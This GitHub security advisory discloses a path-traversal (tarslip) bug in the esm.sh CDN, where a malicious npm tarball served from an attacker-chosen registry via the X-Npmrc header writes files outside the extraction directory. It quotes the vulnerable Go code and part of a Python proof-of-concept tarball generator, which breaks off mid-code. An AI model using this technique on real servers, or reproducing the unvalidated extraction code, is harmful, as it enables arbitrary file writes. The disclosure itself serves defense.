GitHub Security Advisory: GHSA-h3mw-4f23-gwpw
Package: github.com/esm-dev/esm.sh (GO)
Severity: HIGH (CVSS 8.2)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 0.0.0[PII_REDACTED]2647-9d77b88c3207
Patched in: 0.0.0[PII_REDACTED]2647-9d77b88c3207

Summary: esm.sh CDN service has arbitrary file write via tarslip

Details:
### Summary
The esm.sh CDN service is vulnerable to a Path Traversal (CWE-22) vulnerability during NPM package tarball extraction.  
An attacker can craft a malicious NPM package containing specially crafted file paths (e.g., `package/../../tmp/evil.js`).  
When esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory.

Uploading files containing `../` in the path is not allowed on official registries (npm, GitHub), but the `X-Npmrc` header allows specifying any arbitrary registry.  
By setting the registry to an attacker-controlled server via the `X-Npmrc` header, this vulnerability can be triggered.

### Details
**file:** `server/npmrc.go`  
**line:** 552-567

```go
func extractPackageTarball(installDir string, pkgName string, tarball io.Reader) (err error) {
    
    pkgDir := path.Join(installDir, "node_modules", pkgName)
    
    tr := tar.NewReader(unziped)
    for {
        h, err := tr.Next()
        // ...
        
        // Strip tarball root directory
        _, name := utils.SplitByFirstByte(h.Name, '/')  // "package/../../tmp/evil" → "../../tmp/evil"
        filename := path.Join(pkgDir, name)             // ← No validation
        
        if h.Typeflag != tar.TypeReg {
            continue 
        }
        
        // Extension filtering
        extname := path.Ext(filename)
        if !(extname != "" && (allowed_extensions)) {
            continue  // Only extract .js, .css, .json, etc.
        }
        
        ensureDir(path.Dir(filename))
        f, err := os.OpenFile(filename, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0644)
        // ← File created without path validation!
        // ...
    }
}
```
The code uses `path.Join(pkgDir, name)`, which normalizes the path and allows sequences like `../../` to escape the intended package directory.

```
pkgDir: /esm/npm/evil-pkg@1.0.0/node_modules/evil-pkg
name:   ../../../../../../tmp/pyozzi.js
result:   /esm/npm/evil-pkg@1.0.0/node_modules/evil-pkg/../../../../../../tmp/pyozzi.js
        → /tmp/pyozzi.js  (path traversal)
```

### PoC
**Test On**
- esm.sh Official Docker Image (latest version)
- python 3.11
- flask (for attacker registry server)

### Step 1. Create Malicious tarball file
```python
#!/usr/bin/env python3
"""
Malicious Tarball Generator for esm.sh Path Traversal
Creates tarball with path traversal payloads
"""

import tarfile
import io,os
import json
from datetime import datetime

def create_malicious_tarball(package_name="test-tarslip"):
    
    # PoC file Content
    poc_payload = b"""// Path Traversal PoC
    // This file was created via tarslip attack
    // Location: /tmp/pyozzi.js

    console.log('[!!!] Path Traversal Successful!');
    console.log('Package: %s');
    console.log('Researcher: pyozzi');

    module.exports = {
        poc: true,
        vulnerability: 'CWE-22 Path Traversal',
        package: '%s'
    };
    """ % (package_name.encode(), package_name.encode(